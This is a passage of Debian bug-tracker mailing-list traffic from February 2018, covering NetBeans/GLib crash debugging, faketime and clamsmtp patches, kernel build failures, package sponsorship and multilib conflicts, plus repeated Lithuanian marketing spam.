Bug#890771: running ntpsec in container

[Daniel Baumann]

On 02/19/2018 08:31 AM, Richard Laager wrote:
> If only for testing, what happens if you omit -u and its value?

then it happily runs.

> I'm not sure why ntp's ntpd wouldn't stop. The code is the same (note
> the exit(-1) call):

yes, i saw that too, yet there must be some difference somewhere else
(which is where i stopped to look at/for it yesterday)

> If ntp's ntpd is printing that error, it should be exiting too.

yes, that confused me too. however, fact is ntp does run (and work)
after that message.

i'll send a recipe on how to reproduce it later today.

Regards,
Daniel

Bug#890710: Duplicate node-date-time ITPs

[Pirate Praveen]

On ഞായര്‍ 18 ഫെബ്രുവരി 2018 10:34 വൈകു, Adrian Bunk wrote:
> forcemerge 886549 890710
> thanks
>
> Hi,
>
> both of you owned ITPs for node-date-time.
>
> Please coordinate on who will actually package it.

I have already completed it.

$ rmadison node-date-time
node-date-time | 2.1.0-1   | new    | source, all

Kurien,

Please run npm2deb search command before filing ITP. It will show you if
an ITP is already filed for a particular module.



signature.asc
Description: OpenPGP digital signature

Bug#837081: netbeans: Crashes due to assertion failure in GLib

[Mark Cave-Ayland]

On 17/02/18 21:18, Samuel Thibault wrote:


Hello,

Mark Cave-Ayland, on ven. 16 févr. 2018 17:18:52 +, wrote:

One other thing to note: if I launch netbeans from a terminal I see a
constant stream of messages like this appearing whilst I work:


(java:23186): GLib-GObject-CRITICAL **: g_object_unref: assertion
'G_IS_OBJECT (object)' failed

(java:23186): GLib-GObject-WARNING **: invalid uninstantiatable type
'(null)' in cast to 'AtkObject'

(java:23186): GLib-GObject-WARNING **: instance of invalid
non-instantiatable type '(null)'

(java:23186): GLib-GObject-CRITICAL **: g_signal_emit_by_name: assertion
'G_TYPE_CHECK_INSTANCE (instance)' failed

(java:23186): GLib-GObject-WARNING **: invalid uninstantiatable type
'(null)' in cast to 'GObject'

(java:23186): GLib-GObject-WARNING **: invalid uninstantiatable type
'(null)' in cast to 'GObject'

(java:23186): GLib-GObject-CRITICAL **: g_object_unref: assertion
'G_IS_OBJECT (object)' failed

(this is repeated several hundred times)


It would be useful to know what actions trigger these (since I've been
unable to reproduce them, but I'm not a netbeans user)


Hi Samuel,

Let me try and explain a bit about my setup: it's an up-to-date Debian 
stretch amd64 installation with netbeans 8.2 downloaded from 
netbeans.org. I'm currently writing a spring boot application, and so I 
have installed the latest version of the gradle and git plugins.


My project consists of 3 projects: core, client and web. core and client 
are gradle JAR subprojects that have shared namespaces, e.g. core could 
contain org.foo.CoreObject whilst client may contain 
org.foo.ClientCoreObject. The web application is the root application, 
and depends upon both the core and client JARs.


Once the root web application has been loaded, I can trigger the bug 
quite easily by using the autocomplete in the IDE for one of my classes, 
e.g. typing


ClassName.   (wait for popup list of options, then hit CTRL-space)

And if I keep doing this a few times then I can cause the crash. I've 
also attached another trace from gdb by doing the following to catch the 
sources of the above errors emitted on the console:


break g_log if log_level == G_LOG_LEVEL_CRITICAL
break g_log if log_level == G_LOG_LEVEL_WARNING
handle SIGSEGV nostop noprint pass


ATB,

Mark.


openjdk-8-8u151-b12-1~deb9u1-netbeans-8.2-glib-warnings.txt.xz
Description: application/xz

Bug#890813: faketime does not work correctly on Alpha

[Michael Cree]

Package: faketime
Version: 0.9.7-1
Severity: important
Tags: patch

The faketime package fails to work correctly on the Alpha
architecture. This failure of faketime to work correctly is the
reason for the mbedtls FTBFS, which uses faketime in its test
suite [1].

Consider the following test program (which I call "time-test"):

#include 
#include 
#include 

int main(void)
{
struct timeval tv;

for (int j=0; j<5; j++) {
usleep(1);
gettimeofday(&tv, NULL);
printf("s=%ldus=%ld\n", tv.tv_sec, tv.tv_usec);
}
return 0;
}


When run it produces output like:

s=1519025990us=838219
s=1519025990us=848965
s=1519025990us=859711
s=1519025990us=870456
s=1519025990us=881202

But when run as (with faketime built in its source directory):

LD_PRELOAD=faketime-0.9.7/src/libfaketime.so.1 FAKETIME="-1d" ./time-test

the output is:

s=2199023743604us=0
s=2199023657204us=0
s=2199023570804us=0
s=2199023484404us=0
s=2199023398004us=0

which is definitely not correct.

The reason for the incorrect behaviour is that there are two
gettimeofday symbols in libc on Alpha and the dlsym() call to link
to the gettimeofday() is picking up the function with the wrong ABI.
I attach a patch to fix that.  Faketime built with the attached
patch works correctly and with a fixed faketime the mbedtls source
package builds to completion on Alpha.

Cheers
Michael.

[1] 
https://buildd.debian.org/status/fetch.php?pkg=mbedtls&arch=alpha&ver=2.7.0-2&stamp=1518727161&raw=0

-- System Information:
Debian Release: buster/sid
  APT prefers unreleased
  APT policy: (500, 'unreleased'), (500, 'unstable')
Architecture: alpha

Kernel: Linux 4.14.10-titan-p1+ (SMP w/3 CPU cores)
Locale: LANG=en_NZ.UTF-8, LC_CTYPE=en_NZ.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_NZ.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)
Index: faketime-0.9.7/src/libfaketime.c
===
--- faketime-0.9.7.orig/src/libfaketime.c   2018-02-19 07:57:52.0 
+1300
+++ faketime-0.9.7/src/libfaketime.c2018-02-19 08:23:51.592643229 +1300
@@ -1658,7 +1658,11 @@
   real_lstat64 =dlsym(RTLD_NEXT, "__lxstat64");
   real_time =   dlsym(RTLD_NEXT, "time");
   real_ftime =  dlsym(RTLD_NEXT, "ftime");
+#if defined(__alpha__) && defined(__GLIBC__)
+  real_gettimeofday =   dlvsym(RTLD_NEXT, "gettimeofday", "GLIBC_2.1");
+#else
   real_gettimeofday =   dlsym(RTLD_NEXT, "gettimeofday");
+#endif
 #ifdef FAKE_SLEEP
   real_nanosleep =  dlsym(RTLD_NEXT, "nanosleep");
   real_usleep = dlsym(RTLD_NEXT, "usleep");
@@ -1671,7 +1675,11 @@
 #endif
 #ifdef FAKE_INTERNAL_CALLS
   real___ftime =  dlsym(RTLD_NEXT, "__ftime");
+#  if defined(__alpha__) && defined(__GLIBC__)
+  real___gettimeofday =   dlvsym(RTLD_NEXT, "__gettimeofday", "GLIBC_2.1");
+#  else
   real___gettimeofday =   dlsym(RTLD_NEXT, "__gettimeofday");
+#  endif
   real___clock_gettime  = dlsym(RTLD_NEXT, "__clock_gettime");
 #endif
 #ifdef __APPLEOSX__

Bug#814980: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#837081: netbeans: Crashes due to assertion failure in GLib

[Mark Cave-Ayland]

On 17/02/18 17:49, Samuel Thibault wrote:


Hello,

Mark Cave-Ayland, on ven. 16 févr. 2018 13:46:36 +, wrote:

As requested, please find attached a .xz file containing the output of
"thread apply all bt full" for the crashing process after installing the
debugging symbols using the instructions above.


Thanks!


Hopefully this will enable this bug to finally be tracked down and fixed.


That made me find one issue that is very possibly related indeed. Could
you try libatk-wrapper-java-jni_0.33.3-16 which I have just uploaded?


Fantastic! I've just submitted some extra traces for the console 
warnings above which I hope you will find helpful.


Poking around a bit with gdb it appears that the g_hash_table entries 
are coming back as NULL for both the key and entry, so let me know if 
there's any other info I can provide.


Do you still want me to go ahead and install the 
libatk-wrapper-java-jni_0.33.3-16 package to test your latest fixes, or 
would you like to review my latest gdb trace first just in case you need 
any further info?



ATB,

Mark.

Bug#890814: RFS: anosql/0.2.0-1 [ITP]

[Florian Grignon]

Package: sponsorship-requests
Severity: wishlist

Dear mentors,

I am looking for a sponsor for my package "anosql"

* Package name: anosql
  Version : 0.2.0-1
  Upstream Author : Honza Pokorny
* URL : https://github.com/honza
* License : BSD-3-clause
  Section : python

It builds those binary packages:

  python-anosql - Python Library for using SQL
 python3-anosql - Python 3 library for using SQL

To access further information about this package, please visit the
following URL:

 https://mentors.debian.net/package/anosql

Alternatively, one can download the package with dget using this command:

 dget -x https://mentors.debian.net/debian/pool/main/a/anosql/anosql_0.2.0-1.dsc

Changes since the last upload:

 * Initial release (closes: #890523)

Regards,
 Florian Grignon


-- System Information:
Debian Release: 9.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.13.0-0.bpo.1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#884973: tp-smapi-dkms: tp-smapi doesn't build for 4.15.0-rc?

[Paul Wise]

Package: tp-smapi-dkms
Version: 0.42-1
Followup-For: Bug #884973
Control: severity -1 serious
Control: retitle -1 tp-smapi-dkms: build failure with 4.15.0

Linux 4.15.0 entered sid and tp-smapi-dkms fails to build with it:

DKMS make.log for tp_smapi-0.42 for kernel 4.15.0-1-amd64 (x86_64)
Mon 19 Feb 15:47:59 AWST 2018
make: Entering directory '/usr/src/linux-headers-4.15.0-1-amd64'
  CC [M]  /var/lib/dkms/tp_smapi/0.42/build/thinkpad_ec.o
  CC [M]  /var/lib/dkms/tp_smapi/0.42/build/tp_smapi.o
  CC [M]  /var/lib/dkms/tp_smapi/0.42/build/hdaps.o
/var/lib/dkms/tp_smapi/0.42/build/hdaps.c: In function ‘hdaps_init’:
/var/lib/dkms/tp_smapi/0.42/build/hdaps.c:781:2: error: implicit declaration of 
function ‘init_timer’; did you mean ‘init_timers’? 
[-Werror=implicit-function-declaration]
  init_timer(&hdaps_timer);
  ^~
  init_timers
/var/lib/dkms/tp_smapi/0.42/build/hdaps.c:782:23: error: assignment from 
incompatible pointer type [-Werror=incompatible-pointer-types]
  hdaps_timer.function = hdaps_mousedev_poll;
   ^
cc1: some warnings being treated as errors
/usr/src/linux-headers-4.15.0-1-common/scripts/Makefile.build:327: recipe for 
target '/var/lib/dkms/tp_smapi/0.42/build/hdaps.o' failed
make[3]: *** [/var/lib/dkms/tp_smapi/0.42/build/hdaps.o] Error 1
make[3]: *** Waiting for unfinished jobs
/usr/src/linux-headers-4.15.0-1-common/Makefile:1523: recipe for target 
'_module_/var/lib/dkms/tp_smapi/0.42/build' failed
make[2]: *** [_module_/var/lib/dkms/tp_smapi/0.42/build] Error 2
Makefile:146: recipe for target 'sub-make' failed
make[1]: *** [sub-make] Error 2
Makefile:8: recipe for target 'all' failed
make: *** [all] Error 2
make: Leaving directory '/usr/src/linux-headers-4.15.0-1-amd64'

-- System Information:
Debian Release: buster/sid
  APT prefers testing-debug
  APT policy: (900, 'testing-debug'), (900, 'testing'), (800, 
'unstable-debug'), (800, 'unstable'), (790, 'buildd-unstable'), (700, 
'experimental-debug'), (700, 'experimental'), (690, 'buildd-experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.14.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_AU.utf8, LC_CTYPE=en_AU.utf8 (charmap=UTF-8), 
LANGUAGE=en_AU.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages tp-smapi-dkms depends on:
ii  dkms  2.3-3

tp-smapi-dkms recommends no packages.

tp-smapi-dkms suggests no packages.

-- no debconf information

-- 
bye,
pabs

https://wiki.debian.org/PaulWise


signature.asc
Description: This is a digitally signed message part

Bug#837081: netbeans: Crashes due to assertion failure in GLib

[Samuel Thibault]

Hello,

Mark Cave-Ayland, on lun. 19 févr. 2018 08:14:13 +, wrote:
> I've also
> attached another trace from gdb by doing the following to catch the sources
> of the above errors emitted on the console:
> 
> break g_log if log_level == G_LOG_LEVEL_CRITICAL
> break g_log if log_level == G_LOG_LEVEL_WARNING
> handle SIGSEGV nostop noprint pass

Thanks!

The corresponding backtrace look like these warnings are probably fixed
by the -16 upload too.

Samuel

Bug#890771: running ntpsec in container

[Richard Laager]

Hal Murray wrote:
> That mode should be there. I haven't tested it.
>
> Try --enable_lockclock and a local refclock.

Are you able to try this?

It would involve rebuilding the package with the --enable-lockclock
option to `waf configure`. The "local" refclock is already built-in.

Even if it works, I'm not (yet, at least) convinced this is the best
answer. But it might be helpful to know whether it actually works.

-- 
Richard

Bug#740154: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#837081: netbeans: Crashes due to assertion failure in GLib

[Mark Cave-Ayland]

On 19/02/18 08:39, Samuel Thibault wrote:


Hello,

Mark Cave-Ayland, on lun. 19 févr. 2018 08:14:13 +, wrote:

I've also
attached another trace from gdb by doing the following to catch the sources
of the above errors emitted on the console:

break g_log if log_level == G_LOG_LEVEL_CRITICAL
break g_log if log_level == G_LOG_LEVEL_WARNING
handle SIGSEGV nostop noprint pass


Thanks!

The corresponding backtrace look like these warnings are probably fixed
by the -16 upload too.


No worries - I have a full day of Java development ahead of me, so I 
will install your -16 package now and see how I go.



Thanks a lot for taking the time to look into this,

Mark.

Bug#789951: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#805551: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#837081: netbeans: Crashes due to assertion failure in GLib

[Mark Cave-Ayland]

On 19/02/18 08:39, Samuel Thibault wrote:


Thanks!

The corresponding backtrace look like these warnings are probably fixed
by the -16 upload too.

Samuel


Okay I've just installed the -16 packages locally and I'm still seeing 
warnings on the console when hitting CTRL-space during autocomplete:



(java:8938): GLib-CRITICAL **: g_hash_table_iter_init: assertion 'iter 
!= NULL' failed


(java:8938): GLib-CRITICAL **: g_hash_table_iter_next: assertion 'iter 
!= NULL' failed


(java:8938): GLib-CRITICAL **: g_hash_table_iter_init: assertion 'iter 
!= NULL' failed


(java:8938): GLib-CRITICAL **: g_hash_table_iter_next: assertion 'iter 
!= NULL' failed


(java:8938): GLib-GObject-WARNING **: invalid uninstantiatable type 
'' in cast to 'AtkObject'


(java:8938): GLib-GObject-WARNING **: instance of invalid 
non-instantiatable type ''


(java:8938): GLib-GObject-CRITICAL **: g_signal_emit_by_name: assertion 
'G_TYPE_CHECK_INSTANCE (instance)' failed


(java:8938): GLib-GObject-WARNING **: invalid uninstantiatable type 
'' in cast to 'GObject'


(java:8938): GLib-GObject-WARNING **: invalid uninstantiatable type 
'' in cast to 'GObject'


(java:8938): GLib-GObject-CRITICAL **: g_object_unref: assertion 
'G_IS_OBJECT (object)' failed


(java:8938): GLib-GObject-WARNING **: invalid uninstantiatable type 
'' in cast to 'GObject'


(java:8938): GLib-GObject-CRITICAL **: g_object_unref: assertion 
'G_IS_OBJECT (object)' failed


(java:8938): GLib-GObject-WARNING **: invalid uninstantiatable type 
'' in cast to 'GObject'


(java:8938): GLib-GObject-CRITICAL **: g_object_unref: assertion 
'G_IS_OBJECT (object)' failed


(java:8938): GLib-GObject-WARNING **: invalid uninstantiatable type 
'' in cast to 'GObject'


(java:8938): GLib-GObject-CRITICAL **: g_object_unref: assertion 
'G_IS_OBJECT (object)' failed


(java:8938): GLib-GObject-WARNING **: invalid uninstantiatable type 
'' in cast to 'GObject'


(java:8938): GLib-GObject-CRITICAL **: g_object_unref: assertion 
'G_IS_OBJECT (object)' failed



Are the debug packages available anywhere at 
http://debug.mirrors.debian.org/? If so, I can install them and dig a 
bit more.



ATB,

Mark.

Bug#879622: [autopkgtest 879622]

[Andreas Tille]

Dear Kate,

On Mon, Feb 19, 2018 at 12:21:35AM +0200, Kalou.Katerina wrote:
> Thank you for your comments!! I tried to push the files again , i think
> that now it worked :)

I confirm the push worked now.  I've pushed some more commits - partly
related to your work.  Please keep on reading my comments below.
 
> > > Any
> > > comments and corrections will be much welcome!! In my linux machine the
> > > 'autopkgtest -- null' command reports a pass.
> > >
> > > In the example folder i have put two sample data that i managed to found
> > at
> > > 'https://github.com/arq5x/bedtools2'. These two files are '.BED' file
> > > extensions. The example at the macs package install instructions is using
> > > the 'BAM' extension , if anyone has any recommendation on where to find
> > > these, it will be much appreciated!! :)
> >
> > In any case make sure you document the origin of the example filese in
> > debian/README.source (may be you add your question also in this file).

I've seen you have give some (rather vague) pointer in README.test
(which is fine - no need to create an extra README.source.  Besides the
fact that all Debian related stuff needs to be in debian/ dir (I just
moved the file) I wished you would add some more specific pointer.  The
best thing would be something like

wget URL_to_example_file1
wget URL_to_example_file2

So everybody can immediately reproduce what you did to get the files.
To express what I mean I did so in the latest commit.  I also left the
files compressed as downloaded which requires an extra file

debian/source/include-binaries

(dpkg-buildpackage will tell you about this so this is no knowledge you
need to keep by heart. ;-) )

Regarding how to get BAM files instead of BED files I'm hoping for
comments here on the list but for the moment macs2 seems to do something
sensible which should qualify for a first test.

> > > Finally , i included the files 'README.test',
> > 'macs-example-data.install'

The file macs-example-data.install is wrong.  In the other package you
worked on we have created an extra data package.  I do not think that
the amount of extra data in the macs example rectifies an additional
package and thus we have no such package macs-example-data defined in
debian/control.  Thus this file is simply ignored.  You rather need to
put files in debian/macs.examples (and make sure those files are really
existing - since I bumped debian/compat in some unrelated change
mentioning non-existing files has lead to build problems).

> > > and 'macs.install', taking inspiration from the previous packages like
> > > rapmap i worked on. The purpose was to send the examples folder to the
> > > 'usr/share/doc' directory during installation , i do not know if i did it
> > > right!

I've now fixed it - please check all my according commits.

Finally please always add a changelog entry to the package documenting
your changes.  I'd recommen to use the dch tool for this.  For instance
you can do

dch --team "Add autopkgtest (Closes: #879622)"

specifically the "Closes:" is important to automatically close the bug.
(You can also use `dch --team` and add the string manually with the
editor.)

I would like you to take over the changelog entry (that's why the --team
option - see `man dch`) since I want to give credit to the person who
has written the test and has fixed the bug.

I think the package is ready once you have done the changelog entry and
I'll upload once I have seen your commit.  Yesterday I added a set of
new bugs for packages in need of an autopkgtest.  So there is a plenty
to pick from and as I wrote here before I issued an according GSoC
project proposal (which can be also picked for outreachy as far as I
know).

Kind regards

   Andreas.

-- 
http://fam-tille.de

Bug#837081: netbeans: Crashes due to assertion failure in GLib

[Samuel Thibault]

Mark Cave-Ayland, on lun. 19 févr. 2018 09:00:36 +, wrote:
> Are the debug packages available anywhere at
> http://debug.mirrors.debian.org/? If so, I can install them and dig a bit
> more.

It's all on 
http://debug.mirrors.debian.org/debian-debug/pool/main/j/java-atk-wrapper/

You can also use

  deb http://debug.mirrors.debian.org/debian-debug/ unstable-debug main

in your sources.list

Samuel

Bug#890621: forwarded python3.6 issue (bpo-32305 causing regressions)

[Matthias Klose]

Control: forwarded -1 https://bugs.python.org/issue32872
Control: tags -1 + upstream

This is https://bugs.python.org/issue32305, apparently intentional and will be
in 3.7.  So better fix the packages itself. Not sure if that really should be
backported.

Bug#819061: [Pkg-clamav-devel] Bug#819061: clamsmtp/proxsmtp does not handle lines with leading dots correctly

[Christoph Pleger]

Hello,

But since you asked so nicely I did look into it and found that your 
patch does

not apply to clamsmtp.


I attached a version of the patch that applies to clamsmtp. It also 
includes minor other code changes, but that should not change 
functionality.



Also you made some changes that don't really seem to be related to the
problem at hand, or why did you do for instance this:


-while((rc = getline(&line, &line_len, file)) != -1)
+while(line = (fgets(buf + 1, buf_len - 1, file)))


I may be missing something obvious here, though, but I haven't looked
into clamsmtp's source code much.


getline reads whole lines, that is till '\n' or EOF appears, and 
reallocates the buffer if it was not large enough, so that maybe the 
buffer has a new address after a call of getline. But my method of 
prepending a dot relies on buf and line to share the same memory region, 
with just buf starting one byte earlier. Therefore I switched to fgets, 
which always reads maximum one byte less than its size parameter.


Regards
  Christoph--- clamsmtp-1.10.orig/common/smtppass.c
+++ clamsmtp-1.10/common/smtppass.c
@@ -1389,16 +1389,34 @@ int sp_cache_data(spctx_t* ctx)
 {
 int r, count = 0;
 const char* data;
+int linestart;
+
+linestart = 1;
 
 while((r = sp_read_data(ctx, &data)) != 0)
 {
-if(r < 0)
-return -1;  /* Message already printed */
+	if(r < 0)
+	 return -1;  /* Message already printed */
+
+	/* SMTP RFCs say that servers must remove leading dots at the beginning
+	 * of a line. We do that here.
+	 */
+
+	if (linestart && (data[0] == '.'))
+	{
+	data++;
+	r--;
+	}
+
+	if (ctx->_crlf)
+	 linestart = 1;
+	else
+	 linestart = 0;	
 
-count += r;
+	count += r;
 
-if((r = sp_write_data(ctx, data, r)) < 0)
-return -1;  /* Message already printed */
+	if((r = sp_write_data(ctx, data, r)) < 0)
+	 return -1;  /* Message already printed */
 }
 
 /* End the caching */
@@ -1572,9 +1590,12 @@ int sp_done_data(spctx_t* ctx, const cha
 int ret = 0;
 char *line;
 char header[MAX_HEADER_LENGTH] = "";
-size_t header_len, line_len;
+size_t header_len;
 int header_prepend = 0;
 ssize_t rc;
+size_t buf_len;
+int linestart;
+char *buf;
 
 ASSERT(ctx->cachename[0]);  /* Must still be around */
 ASSERT(!ctx->cachefile);/* File must be closed */
@@ -1582,10 +1603,12 @@ int sp_done_data(spctx_t* ctx, const cha
 memset(header, 0, sizeof(header));
 
 /* Alloc line buffer */
-line_len = SP_LINE_LENGTH;
-if((line = (char *)malloc(line_len)) == NULL)
+buf_len = SP_LINE_LENGTH;
+if((buf = (char *)malloc(buf_len)) == NULL)
 RETURN(-1);
 
+buf[0] = '.';
+
 /* Open the file */
 file = fopen(ctx->cachename, "r");
 if(file == NULL)
@@ -1631,17 +1654,24 @@ int sp_done_data(spctx_t* ctx, const cha
 header[0] = '\0';
 }
 
-/* Transfer actual file data */
-while((rc = getline(&line, &line_len, file)) != -1)
+/* Transfer actual file data */
+while(line = (fgets(buf + 1, buf_len - 1, file)))
 {
-/* 
- * If the line is . we need to change it so that 
- * it doesn't end the email. We do this by adding a space. 
- * This won't occur much in clamsmtpd, but proxsmtpd might 
- * have filters that accidentally put this in.
- */
-if(strcmp(line, "." CRLF) == 0)
-strncpy(line, ". " CRLF, SP_LINE_LENGTH);
+	/* SMTP RFCs say that clients must prepend an additional dot
+	 * to every line starting with a dot. We do that here.
+	 */
+	if (linestart && (line[0] == '.'))
+	 line = buf;
+
+	rc = strlen(line);
+
+	if (strstr(line, CRLF))
+	 linestart = 1;
+	else
+	 linestart = 0;
+
+	if(strcmp(line, "." CRLF) == 0)
+	 strncpy(line, ". " CRLF, SP_LINE_LENGTH);
   
 if(header[0] != '\0')
 {
@@ -1683,10 +1713,10 @@ int sp_done_data(spctx_t* ctx, const cha
 
 cleanup:
 
-	if(line)
-		free(line); 
-if(file)
-fclose(file); /* read-only so no error check */
+	if(buf)
+		free(buf); 
+	if(file)
+		fclose(file); /* read-only so no error check */
 
 return ret;
 }

Bug#890801: libc6-i386 conflicts with libc6-amd64:i386

[Aurelien Jarno]

On 2018-02-18 19:17, Hillel Lubman wrote:
> Package: libc6-i386
> Version: 2.26-6
> Severity: important
> 
> Dear Maintainer,
> 
> I tried cross compile 32-bit Mesa on 64-bit Debian (amd64), and I had to
> install these packages in order to do it:
> 
> llvm-5.0-dev:i386 libclang-5.0-dev:i386 gcc-multilib g++-multilib
> 
> Unfortunately it failed, and I managed to narrow it down to the conflict
> between libc6-i386 conflicts and libc6-amd64:i386:

You can install only one set of multilib package at the same time,
otherwise you end up with files conflict. In your case llvm-5.0-dev:i386
requires the :i386 version of the multilib set, while gcc-multilib
requires the :amd64 version of it.

> sudo apt-get install libc6-amd64:i386 libc6-i386
> Reading package lists... Done
> Building dependency tree
> Reading state information... Done
> Some packages could not be installed. This may mean that you have
> requested an impossible situation or if you are using the unstable
> distribution that some required packages have not yet been created
> or been moved out of Incoming.
> The following information may help to resolve the situation:
> 
> The following packages have unmet dependencies:
